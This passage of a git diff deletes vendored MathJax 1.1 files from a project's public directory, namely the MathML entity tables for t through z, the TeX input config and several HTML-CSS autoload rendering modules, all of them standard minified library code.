835\uDCC8",tscr:"\uD835\uDCC9",uscr:"\uD835\uDCCA",vscr:"\uD835\uDCCB",wscr:"\uD835\uDCCC",xscr:"\uD835\uDCCD",yscr:"\uD835\uDCCE",zscr:"\uD835\uDCCF"});MathJax.Ajax.loadComplete(a.entityDir+"/scr.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/t.js b/public/MathJax/jax/input/MathML/entities/t.js
deleted file mode 100644
index 0ec6203d..00000000
--- a/public/MathJax/jax/input/MathML/entities/t.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/t.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{THORN:"\u00DE",TRADE:"\u2122",TSHcy:"\u040B",TScy:"\u0426",Tab:"\u0009",Tau:"\u03A4",Tcaron:"\u0164",Tcedil:"\u0162",Tcy:"\u0422",ThickSpace:"\u205F\u200A",ThinSpace:"\u2009",TripleDot:"\u20DB",Tstrok:"\u0166",target:"\u2316",tbrk:"\u23B4",tcaron:"\u0165",tcedil:"\u0163",tcy:"\u0442",tdot:"\u20DB",telrec:"\u2315",there4:"\u2234",therefore:"\u2234",thetasym:"\u03D1",thickapprox:"\u2248",thicksim:"\u223C",thinsp:"\u2009",thkap:"\u2248",thksim:"\u223C",thorn:"\u00FE",timesb:"\u22A0",timesbar:"\u2A31",timesd:"\u2A30",tint:"\u222D",toea:"\u2928",top:"\u22A4",topbot:"\u2336",topcir:"\u2AF1",topfork:"\u2ADA",tosa:"\u2929",tprime:"\u2034",trade:"\u2122",triangledown:"\u25BF",triangleleft:"\u25C3",trianglelefteq:"\u22B4",triangleright:"\u25B9",trianglerighteq:"\u22B5",tridot:"\u25EC",trie:"\u225C",triminus:"\u2A3A",triplus:"\u2A39",trisb:"\u29CD",tritime:"\u2A3B",trpezium:"\u23E2",tscy:"\u0446",tshcy:"\u045B",tstrok:"\u0167",twixt:"\u226C",twoheadleftarrow:"\u219E",twoheadrightarrow:"\u21A0"});MathJax.Ajax.loadComplete(a.entityDir+"/t.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/u.js b/public/MathJax/jax/input/MathML/entities/u.js
deleted file mode 100644
index 500ca59e..00000000
--- a/public/MathJax/jax/input/MathML/entities/u.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/u.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Uacute:"\u00DA",Uarr:"\u219F",Uarrocir:"\u2949",Ubrcy:"\u040E",Ubreve:"\u016C",Ucirc:"\u00DB",Ucy:"\u0423",Udblac:"\u0170",Ugrave:"\u00D9",Umacr:"\u016A",UnderBracket:"\u23B5",UnderParenthesis:"\u23DD",Uogon:"\u0172",UpArrowBar:"\u2912",UpArrowDownArrow:"\u21C5",UpEquilibrium:"\u296E",UpTeeArrow:"\u21A5",UpperLeftArrow:"\u2196",UpperRightArrow:"\u2197",Upsi:"\u03D2",Uring:"\u016E",Utilde:"\u0168",Uuml:"\u00DC",uArr:"\u21D1",uHar:"\u2963",uacute:"\u00FA",uarr:"\u2191",ubrcy:"\u045E",ubreve:"\u016D",ucirc:"\u00FB",ucy:"\u0443",udarr:"\u21C5",udblac:"\u0171",udhar:"\u296E",ufisht:"\u297E",ugrave:"\u00F9",uharl:"\u21BF",uharr:"\u21BE",uhblk:"\u2580",ulcorn:"\u231C",ulcorner:"\u231C",ulcrop:"\u230F",ultri:"\u25F8",umacr:"\u016B",uml:"\u00A8",uogon:"\u0173",uparrow:"\u2191",updownarrow:"\u2195",upharpoonleft:"\u21BF",upharpoonright:"\u21BE",uplus:"\u228E",upsih:"\u03D2",upsilon:"\u03C5",urcorn:"\u231D",urcorner:"\u231D",urcrop:"\u230E",uring:"\u016F",urtri:"\u25F9",utdot:"\u22F0",utilde:"\u0169",utri:"\u25B5",utrif:"\u25B4",uuarr:"\u21C8",uuml:"\u00FC",uwangle:"\u29A7"});MathJax.Ajax.loadComplete(a.entityDir+"/u.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/v.js b/public/MathJax/jax/input/MathML/entities/v.js
deleted file mode 100644
index ae9fba4c..00000000
--- a/public/MathJax/jax/input/MathML/entities/v.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/v.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{VDash:"\u22AB",Vbar:"\u2AEB",Vcy:"\u0412",Vdashl:"\u2AE6",Verbar:"\u2016",Vert:"\u2016",VerticalLine:"\u007C",VerticalSeparator:"\u2758",VeryThinSpace:"\u200A",vArr:"\u21D5",vBar:"\u2AE8",vBarv:"\u2AE9",vDash:"\u22A8",vangrt:"\u299C",varepsilon:"\u03F5",varkappa:"\u03F0",varnothing:"\u2205",varphi:"\u03D5",varpi:"\u03D6",varpropto:"\u221D",varr:"\u2195",varrho:"\u03F1",varsigma:"\u03C2",varsubsetneq:"\u228A\uFE00",varsubsetneqq:"\u2ACB\uFE00",varsupsetneq:"\u228B\uFE00",varsupsetneqq:"\u2ACC\uFE00",vartheta:"\u03D1",vartriangleleft:"\u22B2",vartriangleright:"\u22B3",vcy:"\u0432",vdash:"\u22A2",vee:"\u2228",veeeq:"\u225A",verbar:"\u007C",vert:"\u007C",vltri:"\u22B2",vnsub:"\u2282\u20D2",vnsup:"\u2283\u20D2",vprop:"\u221D",vrtri:"\u22B3",vsubnE:"\u2ACB\uFE00",vsubne:"\u228A\uFE00",vsupnE:"\u2ACC\uFE00",vsupne:"\u228B\uFE00",vzigzag:"\u299A"});MathJax.Ajax.loadComplete(a.entityDir+"/v.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/w.js b/public/MathJax/jax/input/MathML/entities/w.js
deleted file mode 100644
index 9c59c471..00000000
--- a/public/MathJax/jax/input/MathML/entities/w.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/w.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Wcirc:"\u0174",wcirc:"\u0175",wedbar:"\u2A5F",wedge:"\u2227",wedgeq:"\u2259",wp:"\u2118",wr:"\u2240",wreath:"\u2240"});MathJax.Ajax.loadComplete(a.entityDir+"/w.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/x.js b/public/MathJax/jax/input/MathML/entities/x.js
deleted file mode 100644
index b4c7416c..00000000
--- a/public/MathJax/jax/input/MathML/entities/x.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/x.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{xcap:"\u22C2",xcirc:"\u25EF",xcup:"\u22C3",xdtri:"\u25BD",xhArr:"\u27FA",xharr:"\u27F7",xlArr:"\u27F8",xlarr:"\u27F5",xmap:"\u27FC",xnis:"\u22FB",xodot:"\u2A00",xoplus:"\u2A01",xotime:"\u2A02",xrArr:"\u27F9",xrarr:"\u27F6",xsqcup:"\u2A06",xuplus:"\u2A04",xutri:"\u25B3",xvee:"\u22C1",xwedge:"\u22C0"});MathJax.Ajax.loadComplete(a.entityDir+"/x.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/y.js b/public/MathJax/jax/input/MathML/entities/y.js
deleted file mode 100644
index 601b0e8c..00000000
--- a/public/MathJax/jax/input/MathML/entities/y.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/y.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{YAcy:"\u042F",YIcy:"\u0407",YUcy:"\u042E",Yacute:"\u00DD",Ycirc:"\u0176",Ycy:"\u042B",Yuml:"\u0178",yacute:"\u00FD",yacy:"\u044F",ycirc:"\u0177",ycy:"\u044B",yicy:"\u0457",yucy:"\u044E",yuml:"\u00FF"});MathJax.Ajax.loadComplete(a.entityDir+"/y.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/z.js b/public/MathJax/jax/input/MathML/entities/z.js
deleted file mode 100644
index 1f553c5a..00000000
--- a/public/MathJax/jax/input/MathML/entities/z.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/z.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{ZHcy:"\u0416",Zacute:"\u0179",Zcaron:"\u017D",Zcy:"\u0417",Zdot:"\u017B",ZeroWidthSpace:"\u200B",Zeta:"\u0396",zacute:"\u017A",zcaron:"\u017E",zcy:"\u0437",zdot:"\u017C",zeetrf:"\u2128",zhcy:"\u0436",zwj:"\u200D",zwnj:"\u200C"});MathJax.Ajax.loadComplete(a.entityDir+"/z.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/jax.js b/public/MathJax/jax/input/MathML/jax.js
deleted file mode 100644
index 144b8154..00000000
--- a/public/MathJax/jax/input/MathML/jax.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/jax.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/input/TeX/config.js b/public/MathJax/jax/input/TeX/config.js
deleted file mode 100644
index 84b8bc4a..00000000
--- a/public/MathJax/jax/input/TeX/config.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/TeX/config.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.InputJax.TeX=MathJax.InputJax({id:"TeX",version:"1.1.1",directory:MathJax.InputJax.directory+"/TeX",extensionDir:MathJax.InputJax.extensionDir+"/TeX",config:{TagSide:"right",TagIndent:"0.8em",MultLineWidth:"85%"}});MathJax.InputJax.TeX.Register("math/tex");MathJax.InputJax.TeX.loadComplete("config.js");
-
diff --git a/public/MathJax/jax/input/TeX/jax.js b/public/MathJax/jax/input/TeX/jax.js
deleted file mode 100644
index a419b844..00000000
--- a/public/MathJax/jax/input/TeX/jax.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/TeX/jax.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/autoload/annotation-xml.js b/public/MathJax/jax/output/HTML-CSS/autoload/annotation-xml.js
deleted file mode 100644
index 048d293a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/autoload/annotation-xml.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/autoload/annotation-xml.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml,b=MathJax.OutputJax["HTML-CSS"];a["annotation-xml"].Augment({toHTML:function(f){f=this.HTMLhandleSize(this.HTMLcreateSpan(f));var g=this.Get("encoding");for(var e=0,d=this.data.length;e<d;e++){this.data[e].toHTML(f,g)}this.HTMLhandleSpace(f);this.HTMLhandleColor(f);return f},HTMLgetScale:function(){return this.SUPER(arguments).HTMLgetScale.call(this)*(100/b.scale)}});a.xml.Augment({toHTML:function(f,g){for(var e=0,d=this.data.length;e<d;e++){f.appendChild(this.data[e].cloneNode(true))}f.bbox.w=b.getW(f);f.bbox.rw=f.bbox.w;var h=b.getHD(f);f.bbox.h=h.h;f.bbox.d=h.d}});MathJax.Hub.Startup.signal.Post("HTML-CSS annotation-xml Ready");MathJax.Ajax.loadComplete(b.autoloadDir+"/annotation-xml.js")});
-
diff --git a/public/MathJax/jax/output/HTML-CSS/autoload/maction.js b/public/MathJax/jax/output/HTML-CSS/autoload/maction.js
deleted file mode 100644
index 91ca1230..00000000
--- a/public/MathJax/jax/output/HTML-CSS/autoload/maction.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/autoload/maction.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var g="1.1.2";var c=MathJax.ElementJax.mml,e=MathJax.OutputJax["HTML-CSS"];var d,f,b;var a=e.config.tooltip=MathJax.Hub.Insert({delayPost:600,delayClear:600,offsetX:10,offsetY:5},e.config.tooltip||{});c.maction.Augment({HTMLtooltip:e.addElement(document.body,"div",{id:"MathJax_Tooltip"}),toHTML:function(k,h,m){k=this.HTMLhandleSize(this.HTMLcreateSpan(k));k.bbox=null;var i=this.getValues("actiontype","selection"),n;var j=this.data[i.selection-1];if(j){e.Measured(j.toHTML(k),k);if(m!=null){e.Remeasured(j.HTMLstretchV(k,h,m),k)}else{if(h!=null){e.Remeasured(j.HTMLstretchH(k,h),k)}}if(e.msieHitBoxBug){var l=e.addElement(k,"span");n=e.createFrame(l,k.bbox.h,k.bbox.d,k.bbox.w,0,"none");k.insertBefore(l,k.firstChild);l.style.marginRight=e.Em(-k.bbox.w);if(e.msieInlineBlockAlignBug){n.style.verticalAlign=e.Em(e.getHD(k).d-k.bbox.d)}}else{n=e.createFrame(k,k.bbox.h,k.bbox.d,k.bbox.w,0,"none");k.insertBefore(n,k.firstChild);n.style.marginRight=e.Em(-k.bbox.w)}n.className="MathJax_HitBox";n.id="MathJax-HitBox-"+this.spanID;if(this.HTMLaction[i.actiontype]){this.HTMLaction[i.actiontype].call(this,k,n,i.selection)}}this.HTMLhandleSpace(k);this.HTMLhandleColor(k);return k},HTMLstretchH:c.mbase.HTMLstretchH,HTMLstretchV:c.mbase.HTMLstretchV,HTMLaction:{toggle:function(i,j,h){this.selection=h;j.onclick=i.childNodes[1].onclick=MathJax.Callback(["HTMLclick",this]);j.style.cursor=i.childNodes[1].style.cursor="pointer"},statusline:function(i,j,h){j.onmouseover=i.childNodes[1].onmouseover=MathJax.Callback(["HTMLsetStatus",this]);j.onmouseout=i.childNodes[1].onmouseout=MathJax.Callback(["HTMLclearStatus",this]);j.onmouseover.autoReset=j.onmouseout.autoReset=true},tooltip:function(i,j,h){if(this.data[1]&&this.data[1].isToken){j.title=j.alt=i.childNodes[1].title=i.childNodes[1].alt=this.data[1].data.join("")}else{j.onmouseover=i.childNodes[1].onmouseover=MathJax.Callback(["HTMLtooltipOver",this]);j.onmouseout=i.childNodes[1].onmouseout=MathJax.Callback(["HTMLtooltipOut",this]);j.onmouseover.autoReset=j.onmouseout.autoReset=true}}},HTMLclick:function(i){this.selection++;if(this.selection>this.data.length){this.selection=1}var h=this;while(h.type!=="math"){h=h.inherit}MathJax.Hub.getJaxFor(h.inputID).Update();if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false},HTMLsetStatus:function(h){window.status=((this.data[1]&&this.data[1].isToken)?this.data[1].data.join(""):this.data[1].toString())},HTMLclearStatus:function(h){window.status=""},HTMLtooltipOver:function(i){if(!i){i=window.event}if(b){clearTimeout(b);b=null}if(f){clearTimeout(f)}var h=i.pageX;var k=i.pageY;if(h==null){h=i.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;k=i.clientY+document.body.scrollTop+document.documentElement.scrollTop}var j=MathJax.Callback(["HTMLtooltipPost",this,h+a.offsetX,k+a.offsetY]);f=setTimeout(j,a.delayPost)},HTMLtooltipOut:function(h){if(f){clearTimeout(f);f=null}if(b){clearTimeout(b)}var i=MathJax.Callback(["HTMLtooltipClear",this,80]);b=setTimeout(i,a.delayClear)},HTMLtooltipPost:function(i,m){f=null;if(b){clearTimeout(b);b=null}var l=this.HTMLtooltip;l.style.display="block";l.style.opacity="";l.style.filter=e.config.styles["#MathJax_Tooltip"].filter;if(this===d){return}l.style.left=i+"px";l.style.top=m+"px";l.innerHTML='<span class="MathJax"><nobr></nobr></span>';e.getScales(l.firstChild,l.firstChild);var h=e.createStack(l.firstChild.firstChild);var k=e.createBox(h);try{e.Measured(this.data[1].toHTML(k),k)}catch(j){if(!j.restart){throw j}l.style.display="none";MathJax.Callback.After(["HTMLtooltipPost",this,i,m],j.restart)}e.placeBox(k,0,0);e.createRule(l.firstChild.firstChild,k.bbox.h,k.bbox.d,0);d=this},HTMLtooltipClear:function(i){var h=this.HTMLtooltip;if(i<=0){h.style.display="none";h.style.opacity=h.style.filter="";b=null}else{h.style.opacity=i/100;h.style.filter="alpha(opacity="+i+")";b=setTimeout(MathJax.Callback(["HTMLtooltipClear",this,i-20]),50)}}});MathJax.Hub.Browser.Select({MSIE:function(h){e.msieHitBoxBug=true}});MathJax.Hub.Startup.signal.Post("HTML-CSS maction Ready");MathJax.Ajax.loadComplete(e.autoloadDir+"/maction.js")});
-
diff --git a/public/MathJax/jax/output/HTML-CSS/autoload/menclose.js b/public/MathJax/jax/output/HTML-CSS/autoload/menclose.js
deleted file mode 100644
index 735e485f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/autoload/menclose.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/autoload/menclose.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var d="1.1.1";var a=MathJax.ElementJax.mml,b=MathJax.OutputJax["HTML-CSS"];var c="http://www.w3.org/2000/svg";var f="urn:schemas-microsoft-com:vml";var e="mjxvml";a.menclose.Augment({toHTML:function(Q){var j=this.getValues("notation","thickness","padding","mathcolor","color");if(j.color&&!this.mathcolor){j.mathcolor=j.color}if(j.thickness==null){j.thickness=".075em"}if(j.padding==null){j.padding=".2em"}var M=b.length2em(j.padding);var E=b.length2em(j.thickness);var x=b.Em(E)+" solid";Q=this.HTMLcreateSpan(Q);var u=b.createStack(Q);var q=b.createBox(u);this.HTMLmeasureChild(0,q);var A=q.bbox.h+M+E,G=q.bbox.d+M+E,k=q.bbox.w+2*(M+E);var F=b.createFrame(u,A+G,0,k,E,"none");F.id="MathJax-frame-"+this.spanID;b.addBox(u,F);u.insertBefore(F,q);var l=j.notation.split(/ /);var n=0,K=0,o=0,v=0,C=0,z=0;var J,g;if(!j.mathcolor){j.mathcolor="black"}else{Q.style.color=j.mathcolor}for(var P=0,O=l.length;P<O;P++){switch(l[P]){case a.NOTATION.BOX:F.style.border=x;if(!b.msieBorderWidthBug){n=K=v=o=E}break;case a.NOTATION.ROUNDEDBOX:if(b.useVML){if(!g){g=this.HTMLvml(u,A,G,k,E,j.mathcolor)}var I=Math.floor(1000*Math.min(k,A+G)-2*E);var y=Math.floor(4000*(k-2*E)),S=Math.floor(4000*(A+G-2*E));this.HTMLvmlElement(g,"shape",{style:{width:this.HTMLpx(k-2*E),height:this.HTMLpx(A+G-2*E),left:this.HTMLpx(E,0.5),top:this.HTMLpx(E,0.5)},path:"m "+I+",0 qx 0,"+I+" l 0,"+(S-I)+" qy "+I+","+S+" l "+(y-I)+","+S+" qx "+y+","+(S-I)+" l "+y+","+I+" qy "+(y-I)+",0 x e",coordsize:y+","+S})}else{if(!J){J=this.HTMLsvg(u,A,G,k,E,j.mathcolor)}this.HTMLsvgElement(J.firstChild,"rect",{x:1,y:1,width:this.HTMLpx(k-E)-1,height:this.HTMLpx(A+G-E)-1,rx:this.HTMLpx(Math.min(A+G,k)/4)})}break;case a.NOTATION.CIRCLE:if(b.useVML){if(!g){g=this.HTMLvml(u,A,G,k,E,j.mathcolor)}this.HTMLvmlElement(g,"oval",{style:{width:this.HTMLpx(k-2*E),height:this.HTMLpx(A+G-2*E),left:this.HTMLpx(E,0.5),top:this.HTMLpx(E,0.5)}})}else{if(!J){J=this.HTMLsvg(u,A,G,k,E,j.mathcolor)}this.HTMLsvgElement(J.firstChild,"ellipse",{rx:this.HTMLpx(k/2-E),ry:this.HTMLpx((A+G)/2-E),cx:this.HTMLpx(k/2),cy:this.HTMLpx((A+G)/2)})}break;case a.NOTATION.LEFT:F.style.borderLeft=x;if(!b.msieBorderWidthBug){v=E}break;case a.NOTATION.ACTUARIAL:F.style.borderTop=x;if(!b.msieBorderWidthBug){n=E;F.bbox.w+=M-E}case a.NOTATION.RIGHT:F.style.borderRight=x;if(!b.msieBorderWidthBug){o=E}break;case a.NOTATION.VERTICALSTRIKE:var s=b.createRule(u,A+G-E/2,0,E);b.addBox(u,s);b.placeBox(s,M+E+q.bbox.w/2,-G,true);break;case a.NOTATION.TOP:F.style.borderTop=x;if(!b.msieBorderWidthBug){n=E}break;case a.NOTATION.BOTTOM:F.style.borderBottom=x;if(!b.msieBorderWidthBug){K=E}break;case a.NOTATION.HORIZONTALSTRIKE:var N=b.createRule(u,E,0,k-E/2);b.addBox(u,N);b.placeBox(N,0,(A+G)/2-G,true);break;case a.NOTATION.UPDIAGONALSTRIKE:if(b.useVML){if(!g){g=this.HTMLvml(u,A,G,k,E,j.mathcolor)}this.HTMLvmlElement(g,"line",{from:"0,"+this.HTMLpx(A+G-E),to:this.HTMLpx(k)+",0"})}else{if(!J){J=this.HTMLsvg(u,A,G,k,E,j.mathcolor)}this.HTMLsvgElement(J.firstChild,"line",{x1:1,y1:this.HTMLpx(A+G-E),x2:this.HTMLpx(k-E),y2:this.HTMLpx(E)})}break;case a.NOTATION.DOWNDIAGONALSTRIKE:if(b.useVML){if(!g){g=this.HTMLvml(u,A,G,k,E,j.mathcolor)}this.HTMLvmlElement(g,"line",{from:"0,0",to:this.HTMLpx(k)+","+this.HTMLpx(A+G-E)})}else{if(!J){J=this.HTMLsvg(u,A,G,k,E,j.mathcolor)}this.HTMLsvgElement(J.firstChild,"line",{x1:1,y1:this.HTMLpx(E),x2:this.HTMLpx(k-E),y2:this.HTMLpx(A+G-E)})}break;case a.NOTATION.MADRUWB:F.style.borderBottom=x;F.style.borderRight=x;if(!b.msieBorderWidthBug){K=o=E}break;case a.NOTATION.RADICAL:if(b.useVML){if(!g){g=this.HTMLvml(u,A,G,k,E,j.mathcolor)}this.HTMLvmlElement(g,"shape",{style:{width:this.HTMLpx(k),height:this.HTMLpx(A+G)},path:"m "+this.HTMLpt(E/2,0.6*(A+G))+" l "+this.HTMLpt(M,A+G-E)+" "+this.HTMLpt(2*M,E/2)+" "+this.HTMLpt(k,E/2)+" e",coordsize:this.HTMLpt(k,A+G)});C=M}else{if(!J){J=this.HTMLsvg(u,A,G,k,E,j.mathcolor)}this.HTMLsvgElement(J.firstChild,"path",{d:"M 1,"+this.HTMLpx(0.6*(A+G))+" L "+this.HTMLpx(M)+","+this.HTMLpx(A+G)+" L "+this.HTMLpx(2*M)+",1 L "+this.HTMLpx(k)+",1"});b.placeBox(J.parentNode,0,M/2-G,true);C=M;z=E}break;case a.NOTATION.LONGDIV:if(b.useVML){if(!g){g=this.HTMLvml(u,A,G,k,E,j.mathcolor)}this.HTMLvmlElement(g,"line",{from:"0,"+this.HTMLpx(E/2),to:this.HTMLpx(k-E)+","+this.HTMLpx(E/2)});this.HTMLvmlElement(g,"arc",{style:{width:this.HTMLpx(2*M),height:this.HTMLpx(A+G-2*E),left:this.HTMLpx(-M),top:this.HTMLpx(E)},startangle:"10",endangle:"170"});C=M}else{if(!J){J=this.HTMLsvg(u,A,G,k,E,j.mathcolor)}this.HTMLsvgElement(J.firstChild,"path",{d:"M "+this.HTMLpx(k)+",1 L 1,1 a"+this.HTMLpx(M)+","+this.HTMLpx((A+G)/2-E)+" 0 0,1 1,"+this.HTMLpx(A+G-2*E)});b.placeBox(J.parentNode,0,E-G,true);C=M;z=E}break}}F.style.width=b.Em(k-v-o);F.style.height=b.Em(A+G-n-K);b.placeBox(F,0,z-G,true);b.placeBox(q,C+M+E,0);this.HTMLhandleSpace(Q);this.HTMLhandleColor(Q);return Q},HTMLpx:function(g){return(g*b.em)},HTMLpt:function(g,h){return Math.floor(1000*g)+","+Math.floor(1000*h)},HTMLhandleColor:function(h){var i=document.getElementById("MathJax-frame-"+this.spanID);if(i){var g=this.getValues("mathbackground","background");if(this.style&&h.style.backgroundColor){g.mathbackground=h.style.backgroundColor}if(g.background&&!this.mathbackground){g.mathbackground=g.background}if(g.mathbackground&&g.mathbackground!==a.COLOR.TRANSPARENT){i.style.backgroundColor=g.mathbackground}}else{this.SUPER(arguments).HTMLhandleColor.call(this,h)}},HTMLsvg:function(h,l,m,g,k,j){var i=document.createElementNS(c,"svg");if(i.style){i.style.width=b.Em(g);i.style.height=b.Em(l+m)}var n=b.createBox(h);n.appendChild(i);b.placeBox(n,0,-m,true);this.HTMLsvgElement(i,"g",{fill:"none",stroke:j,"stroke-width":k*b.em});return i},HTMLsvgElement:function(g,h,i){var j=document.createElementNS(c,h);if(i){for(var k in i){if(i.hasOwnProperty(k)){j.setAttributeNS(null,k,i[k].toString())}}}g.appendChild(j);return j},HTMLvml:function(i,l,m,h,k,j){var g=b.createFrame(i,l+m,0,h,0,"none");b.addBox(i,g);b.placeBox(g,0,-m,true);this.constructor.VMLcolor=j;this.constructor.VMLthickness=this.HTMLpx(k);return g},HTMLvmlElement:function(g,h,i){var j=b.addElement(g,e+":"+h);j.style.position="absolute";j.style.left=j.style.top=0;MathJax.Hub.Insert(j,i);if(!i.fillcolor){j.fillcolor="none"}if(!i.strokecolor){j.strokecolor=this.constructor.VMLcolor}if(!i.strokeweight){j.strokeweight=this.constructor.VMLthickness}}});MathJax.Hub.Browser.Select({MSIE:function(g){a.menclose.Augment({HTMLpx:function(i,h){return(i*b.em+(h||0))+"px"}});b.useVML=true;if(!document.namespaces[e]){if(document.documentMode&&document.documentMode>=8){document.namespaces.add(e,f,"#default#VML")}else{document.namespaces.add(e,f);document.createStyleSheet().addRule(e+"\\: *","{behavior: url(#default#VML)}")}}}});MathJax.Hub.Startup.signal.Post("HTML-CSS menclose Ready");MathJax.Ajax.loadComplete(b.autoloadDir+"/menclose.js")});
-
diff --git a/public/MathJax/jax/output/HTML-CSS/autoload/mglyph.js b/public/MathJax/jax/output/HTML-CSS/autoload/mglyph.js
deleted file mode 100644
index a454aded..00000000
--- a/public/MathJax/jax/output/HTML-CSS/autoload/mglyph.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/autoload/mglyph.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
